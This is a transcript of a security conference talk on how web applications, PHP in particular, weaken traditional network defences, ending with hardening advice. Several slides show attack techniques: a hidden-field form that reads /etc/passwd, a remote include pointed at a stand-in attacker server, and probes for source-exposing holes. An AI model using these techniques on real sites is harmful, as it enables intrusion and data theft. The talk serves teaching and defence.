Breaking In Through The Front Door The Impact of Web Applications and Application Service Provision on Traditional Security Models Shaun Clowes – [email protected].
Download
Report
Transcript Breaking In Through The Front Door The Impact of Web Applications and Application Service Provision on Traditional Security Models Shaun Clowes – [email protected].
Breaking In Through The
Front Door
The Impact of Web Applications and
Application Service Provision on
Traditional Security Models
Shaun Clowes – [email protected]
Overview
A Brief History of Computing
Web Application environments
Dangers of Web Applications
Exploiting PHP Applications
Testing Web Applications
Protecting Web Applications
Questions?
A Brief History Of Computing
How has the security problem space
evolved over time?
What new problems are we facing?
Are we eliminating old problems?
Ancient History
Ancient History – 1940’s and 50’s
Eniac, Univac etc.
Not exactly many security issues
Commercial Computing
Early 1960’s
Transistors and later Integrated Circuits
IBM’s 701 and later 360
Batch processing
Still not exactly difficult to secure
Multi User Systems
Late 1960’s
IBM’s 360/67, CP/CMS and later VM/CMS
Terminals
Security begins to become an issue
Students stealing CPU time
Centralized Computing
1970
PDP Machines
The birth of Unix
Word processing, true multi user operating
systems
Attacks against local applications and social
engineering
Client / Server
Late 1970’s and early 1980’s
Microcomputers interfacing with
Minicomputers and Mainframes
Advent of ‘Network Services’
Security becomes a larger problem space
Attacks against open services
The advent of anonymity
The Internet
Circa Late 1987 to now
Unix supports TCP/IP, commercial
connections
Security explodes, threat rises dramatically
Complete anonymity
Service attacks become widespread
The Morris Worm - 1988
The Defence
Internet not friendly
Attacks:
– Local Applications
– Social Engineering
– Externally Accessible Services
Developed defence technologies
Firewalls
Packet Filters
– IP routers with filters
Application Layer
– Marcus Ranum – DEC SEAL
Stateful Inspection
– Gil Shwed – Firewall 1 - Checkpoint
Limiting exposure of services
Intrusion Detection Systems
Network Based
– Network Flight Recorder, Snort etc
– Detect
Host Based
– LIDS etc
– Detect, Prevent
Limit anonymity,
Limit timeframe for attacks
Defence Weaknesses
Local attacks still very common where
command execution is possible
Administrators actively patch multi user
machines
Access to other machines (e.g Web Servers)
limited to trusted users
Where Are We Headed?
Centralized Computing
Client/Server Computing
???
Where Are We Headed?
Centralized Computing
Client/Server Computing
Web/Thin Client/ASP
Computing
Architecture
Architecture Benefits
No client side software (web browser)
– No versioning issues
– No platform compatibility issues
3rd tier servers behind firewall, not directly
accessible
Web Applications run on trusted machine
– Can they trust their environment?
Architecture Drawbacks
Processing load on web server
Can be complex to develop in traditional
languages
Architecture Risks
Web Applications must be secure
– Can access 3rd tier servers with privileges
– Subverted Web Applications not controlled
(typically) by Firewall
– IDS unlikely to see attacks against Web
Applications
Web Applications do not fit into security
model for Centralized or Client/Server
computing
The Result
Despite risks/drawbacks, Web Applications
being deployed in increasing numbers
So what sort of attacks are we exposing
ourselves to?
Attack Scenarios - 1
1. Attack SQL queries including client input
2. Gain elevated privileges to
1. Application – See Attack Scenario 2
2. Database server
3. Use access on Database server to further
elevate privileges
–
–
On DB Server via local exploits
On other hosts by trust relationships and
service attacks
Attack Scenarios 1 cont.
SQL attacks well covered elsewhere, not
focus here
For more information:
– Search BugTraq
– David Litchfield – “Remote Web Application
Dissassembly with ODBC Error Messages”
Attack Scenarios 2
1. Attack vulnerabilities in Web Application
code or environment
2. Results in:
1. Elevated Privileges in Application
Exploit Application further
2. Local Code Execution
Exploit local vulnerabilities (little patching)
Exploit trust relationships with 3rd tier
3. End Result:
– Major privileges on network
Other Attack Scenario’s
Other Attacks possible against underlying
Architecture (e.g Web Server)
Well covered in JD Glaser’s presentation
Driving the Change
Web Applications previously developed in:
– Perl
–C
Not designed for the Web
Web Languages developed:
– PHP
– ASP (VBScript)
– ColdFusion
Web Languages
4th Generation Languages
Tags embedded in HTML pages
Very feature rich
Designed to be simple
– Coding falls to Web Designers
Web Languages - Issues
Languages make it hard to write secure
applications (especially PHP)
One function can behave in many ways (for
ease of use)
Loosely typed, no variable declaration
Blur border between user input and
application variables
Software written by non coders, don’t
understand issues
Focus on PHP
PHP = “PHP Hypertext Preprocessor”
Installed on 37% of Apache servers (E-Soft
Web Survey)
Lots of applications being written for it
Discuss
– Common mistakes with PHP
– How PHP makes secure code difficult
PHP – Global Input Variables
Form variables end up as global variables in
script
For Example:
<FORM ACTION="<name>.php" METHOD="post">
<INPUT TYPE="text" NAME="hello">
<INPUT TYPE="submit">
</FORM>
When submitted, the variable $hello in PHP
contains the value specified in the form
PHP – Global Input Variables
Attacker can pollute the global namespace
For Example:
– A script sets the variable $auth to true if its
authenticated the remote user
– The attacker provides auth as true through form
input
Script cannot trust any variable it hasn’t
explicitly set
PHP – File Upload
SecureReality Advisory 1 (SRADV00001)
Automatically handles RFC 1867
For Example:
<FORM ENCTYPE=“multipart/form-data”
ACTION="<name>.php" METHOD="post">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE"
value="1000">
<INPUT TYPE=“file" NAME="hello">
<INPUT TYPE="submit">
</FORM>
If file is less than max_file_size its saved
locally (usually in /tmp)
PHP – File Upload
The script is given variables
– $hello = Location of file on local system
– $hello_name = Remote filename
– $hello_size = Byte size of file
– $hello_type = MIME Type of file
PHP – File Upload
An attacker can set max_file_size to an
arbitrary value
Gain?
Limited by PHP configuration directive
upload_max_filesize
Just submit multiple files
Still limited by maximum execution time
PHP – File Upload
An attacker can get the application to work on a
file local to the machine
Use a form like:
<FORM ACTION="<name>.php" METHOD="post">
<INPUT TYPE=“hidden" NAME="hello“ VALUE=“/etc/passwd”>
<INPUT TYPE=“hidden” NAME=“hello_size” VALUE=“100”>
<INPUT TYPE=“hidden” NAME=“hello_type” VALUE=“text/plain”>
<INPUT TYPE=“hidden” NAME=“hello_name” VALUE=“hello”>
<INPUT TYPE="submit">
</FORM>
We’ve used our ability to affect global variables to
create the variables expected by the script
PHP – File Upload
This will often lead to exposure of sensitive
file contents
Hard to detect this attack in all but the most
recent versions of PHP
Latest versions make this easy to detect
Latest documentation makes the problem
clear
Problem still common
PHP – Remote Files
Typical file operations support Remote Files
functionality
The following code opens a file:
<?php
If (!($file = fopen(“$hello”, “r”))
echo(“Could not open file!”);
?>
If $hello beings with http:// or ftp:// PHP
will go to network
PHP – Remote Files
How does an attacker use it?
Remote Files works for most file operations
in PHP
Include() and require() read a file and
interpret it as though it were PHP code
Typically used to support “library” concept
PHP – Remote Files
For example:
<?php
…
include(“$langdir/phrases.php”);
?>
$langdir is a configuration variable
specifying the directory for scripts for a
certain language
PHP – Remote Files
The attacker can set $confdir with form
input
If she can prevent the script overwriting it
she can submit:
http://<myevilserver>
If the attacker creates a file on their
webserver called languages.php
Code execution
PHP - Parsing
Certain file types are configured in the web
server to be parsed as PHP
Other types could well be returned as plain
text
PHP Library files are typically named
<library>.php, so they cannot have source
retrieved
PHP – Parsing
Thus remote user can remotely request a
library file and have it parsed
Loss of dependencies
Code can no longer rely on an environment
Real Life Vulnerabilities
Following are several in depth examples of
security compromises through popular open
source PHP Web Applications.
Attacks are via Web Browser
– No special software
– Breaking in through the front door
Attacks are normal HTTP requests
Vulnerabilities
At time of writing vendors have not been
notified of the vulnerabilities to be
discussed. They have thus been omitted
from this version of the presentation.
After the presentation the full slides will be
available at http://www.securereality.com.au
and
http://www.blackhat.com
Vulnerabilities - Conclusion
Exploiting PHP often like catching fish
from a barrel
Code running on trusted host, in trusted
network but still cannot trust its
environment
Finding the Holes
File upload issues
– Change file upload fields to hidden fields
– Just try
Hidden fields
– Often configuration variables
– Modify them
Normal fields
– Try special characters, ‘/\:;’
Finding the Holes
Getting the source:
– Open source – Full or modified
– IIS Holes
•
•
•
•
•
Unicode exploit
showcode.asp
.htr hole
Translate: f hole
…. many more
– FTP to web server (anonymous)
Finding the Holes
Getting the source:
– Non parsed backup files:
• .bak, .tmp, .old, .bac, .backup, .orig, .temp, .000,
.~1, .php~, etc.
– File upload PHP exploitation
Spotting holes in source:
– Grep!
– Look for ‘vulnerable’ operations with variable
substitution
Finding the Holes
Vulnerable operations:
– PHP Functions: include(), require(), eval(),
exec(), passthru(), ``, system(), popen(),
fopen(), readfile(), file()
– Variable functions:
$hello = “echo \”hi!\””; $hello();
– Variable dereferencing:
$hello = “confdir”; $$hello = “http://myhost”; echo “$confdir”;
Securing PHP
Later versions of PHP are very configurable
Drastic Measures:
– Set open_basedir
• Prevents any file open operations on files outside
specified directories
– register_globals off
• Protects environment from user pollution
• The ultimate protection
• Breaks 99.99% of existing scripts
Securing PHP
Drastic Measures cont:
– safe_mode on
•
•
•
•
•
•
Heaps of restrictions
Restrict which commands can be executed
Disable functions, e.g exec(), system()
Restricts file access based on ownership
Kills file upload
Designed for use in ISP environments
Securing PHP
Slightly less painful measures:
– display_errors off, log_errors on
• Prevent error messages giving clues as to how code
works
• Makes debugging hard
Mostly painless measures:
– allow_url_fopen off
• Stops remote files functionality
• No more remote includes
Securing PHP – Future?
Capabilities
– Defined once, enforced throughout script
Taint Mode
– Tainted variables cannot be used in
• Include/Require Statements
• File Open Operations
• SQL Queries (maybe automatically filtered)
Securing Web Applications
External Solutions:
– Use suEXEC for CGI under Apache
– SubDomain (http://www.immunix.org) under
Linux
Securing Web Applications
Programming Concepts
– Limit calls to external programs
– Pass all user input through metacharacter filter
Securing Web Applications
Architecture
– Adopt client/server architecture in Web
Applications
– Server can rely on environment
– Server can limit trust in client
Web Languages
The basic issue:
– Web languages attempt to make rapid
development as simple as possible by being
feature rich.
– This leads to security problems
• Functions do more than expected to do
• Programmers (Web Designers!) get lazy
– Security is largely a code quality issue
– Coders don’t want to give up ease for security
Thankyou!
Questions?
SecureReality Web Site:
http://www.securereality.com.au
Email:
[email protected]